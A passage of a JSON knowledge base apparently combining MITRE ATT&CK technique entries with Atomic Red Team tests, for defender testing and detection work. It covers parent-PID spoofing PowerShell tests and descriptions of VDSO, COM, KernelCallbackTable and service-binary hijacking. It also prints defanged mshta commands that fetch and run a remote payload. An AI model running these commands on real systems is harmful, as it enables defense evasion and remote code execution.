- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}' -ParentId #{parent_pid}",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from Specified Process",
- "auto_generated_guid": "cbbff285-9051-444a-9d17-c07cd2d230eb",
- "description": "Spawns a notepad.exe process as a child of the current process.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "parent_pid": {
- "description": "PID of process to spawn from",
- "type": "string",
- "default": "$PID"
- },
- "test_guid": {
- "description": "Defined test GUID",
- "type": "string",
- "default": "12345678-1234-1234-1234-123456789123"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Start-ATHProcessUnderSpecificParent -ParentId #{parent_pid} -TestGuid #{test_guid}",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from svchost.exe",
- "auto_generated_guid": "e9f2b777-3123-430b-805d-5cedc66ab591",
- "description": "Spawnd a process as a child of the first accessible svchost.exe process.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line": {
- "description": "Specified command line to use",
- "type": "string",
- "default": "-Command Start-Sleep 10"
- },
- "file_path": {
- "description": "File path or name of process to spawn",
- "type": "path",
- "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Get-CimInstance -ClassName Win32_Process -Property Name, CommandLine, ProcessId -Filter \"Name = 'svchost.exe' AND CommandLine LIKE '%'\" | Select-Object -First 1 | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
- "name": "powershell"
- }
- },
- {
- "name": "Parent PID Spoofing - Spawn from New Process",
- "auto_generated_guid": "2988133e-561c-4e42-a15f-6281e6a9b2db",
- "description": "Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_line": {
- "description": "Specified command line to use",
- "type": "string",
- "default": "-Command Start-Sleep 10"
- },
- "file_path": {
- "description": "File path or name of process to spawn",
- "type": "path",
- "default": "$Env:windir\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
- },
- "parent_name": {
- "description": "Parent process to spoof from",
- "type": "path",
- "default": "$Env:windir\\System32\\notepad.exe"
- }
- },
- "dependencies": [
- {
- "description": "The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.",
- "prereq_command": "$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}",
- "get_prereq_command": "Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n"
- }
- ],
- "executor": {
- "command": "Start-Process -FilePath #{parent_name} -PassThru | Start-ATHProcessUnderSpecificParent -FilePath #{file_path} -CommandLine '#{command_line}'",
- "name": "powershell"
- }
- }
- ]
- },
- "T1055.014": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5",
- "type": "attack-pattern",
- "created": "2020-01-14T01:35:00.781Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.014",
- "url": "https://attack.mitre.org/techniques/T1055/014"
- },
- {
- "source_name": "ELF Injection May 2009",
- "url": "https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html",
- "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."
- },
- {
- "source_name": "Backtrace VDSO",
- "url": "https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/",
- "description": "backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020."
- },
- {
- "source_name": "VDSO Aug 2005",
- "url": "https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/",
- "description": "Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020."
- },
- {
- "source_name": "Syscall 2014",
- "url": "https://lwn.net/Articles/604515/",
- "description": "Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020."
- },
- {
- "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
- "source_name": "ArtOfMemoryForensics"
- },
- {
- "url": "https://www.gnu.org/software/acct/",
- "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
- "source_name": "GNU Acct"
- },
- {
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
- "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
- "source_name": "RHEL auditd"
- },
- {
- "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
- "source_name": "Chokepoint preload rootkits"
- }
- ],
- "modified": "2022-02-24T15:21:39.761Z",
- "name": "VDSO Hijacking",
- "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Module: Module Load"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1122": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ENDGAME"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:33.979Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1122",
- "url": "https://attack.mitre.org/techniques/T1122"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms694363.aspx",
- "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
- "source_name": "Microsoft Component Object Model"
- },
- {
- "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
- "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
- "source_name": "GDATA COM Hijacking"
- },
- {
- "source_name": "Elastic COM Hijacking",
- "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
- "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
- }
- ],
- "modified": "2020-11-10T18:19:44.725Z",
- "name": "Component Object Model Hijacking",
- "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\
may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\
. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Autoruns Analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1502": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wayne Silva, F-Secure Countercept"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142",
- "type": "attack-pattern",
- "created": "2019-06-03T14:50:50.613Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1502",
- "url": "https://attack.mitre.org/techniques/T1502"
- },
- {
- "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.",
- "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/",
- "source_name": "DidierStevens SelectMyParent Nov 2009"
- },
- {
- "description": "Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.",
- "url": "https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works",
- "source_name": "Microsoft UAC Nov 2018"
- },
- {
- "description": "Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019.",
- "url": "https://www.countercept.com/blog/detecting-parent-pid-spoofing/",
- "source_name": "CounterCept PPID Spoofing Dec 2018"
- },
- {
- "source_name": "CTD PPID Spoofing Macro Mar 2019",
- "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/",
- "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019."
- },
- {
- "description": "Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019.",
- "url": "https://blog.xpnsec.com/becoming-system/",
- "source_name": "XPNSec PPID Nov 2017"
- },
- {
- "source_name": "Microsoft Process Creation Flags May 2018",
- "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags",
- "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019."
- },
- {
- "source_name": "Secuirtyinbits Ataware3 May 2019",
- "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3",
- "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019."
- }
- ],
- "modified": "2020-02-18T18:23:31.546Z",
- "name": "Parent PID Spoofing",
- "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess
API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe
or consent.exe
) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe
rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe
), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- },
- {
- "phase_name": "privilege-escalation",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess
/CreateProcessA
, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess
/CreateProcessA
may also be proceeded by a call to UpdateProcThreadAttribute
, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis",
- "Heuristic Detection"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1574.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
- "type": "attack-pattern",
- "created": "2020-03-12T20:43:53.998Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.010",
- "url": "https://attack.mitre.org/techniques/T1574/010"
- },
- {
- "external_id": "CAPEC-17",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/17.html"
- }
- ],
- "modified": "2020-09-16T19:10:04.262Z",
- "name": "Services File Permissions Weakness",
- "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Service: Service Metadata",
- "File: File Modification",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1149": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1149",
- "url": "https://attack.mitre.org/techniques/T1149"
- },
- {
- "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
- "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.",
- "source_name": "Prolific OSX Malware History"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2020-03-30T13:53:57.518Z",
- "name": "LC_MAIN Hijacking",
- "description": "**This technique has been deprecated and should no longer be used.**\n\nAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting",
- "Whitelisting by file name or path"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1170": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ricardo Dias",
- "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1170",
- "url": "https://attack.mitre.org/techniques/T1170"
- },
- {
- "source_name": "Wikipedia HTML Application",
- "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
- "url": "https://en.wikipedia.org/wiki/HTML_Application"
- },
- {
- "source_name": "MSDN HTML Applications",
- "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
- "url": "https://msdn.microsoft.com/library/ms536471.aspx"
- },
- {
- "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf",
- "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
- "source_name": "Cylance Dust Storm"
- },
- {
- "source_name": "Red Canary HTA Abuse Part Deux",
- "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
- "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
- "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
- "source_name": "FireEye Attacks Leveraging HTA"
- },
- {
- "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
- "source_name": "Airbus Security Kovter Analysis",
- "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
- "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
- "source_name": "FireEye FIN7 April 2017"
- },
- {
- "source_name": "LOLBAS Mshta",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
- "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2022-01-19T21:19:03.910Z",
- "name": "Mshta",
- "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta
. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))
\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1574.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde",
- "type": "attack-pattern",
- "created": "2022-02-25T15:27:44.927Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.013",
- "url": "https://attack.mitre.org/techniques/T1574/013"
- },
- {
- "source_name": "Lazarus APT January 2022",
- "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/",
- "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."
- },
- {
- "source_name": "FinFisher exposed ",
- "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
- "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."
- },
- {
- "source_name": "Windows Process Injection KernelCallbackTable",
- "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/",
- "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022."
- },
- {
- "source_name": "NtQueryInformationProcess",
- "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess",
- "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022."
- }
- ],
- "modified": "2022-03-22T15:47:33.915Z",
- "name": "KernelCallbackTable",
- "description": "Adversaries may abuse the KernelCallbackTable
of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable
can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll
is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable
by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable
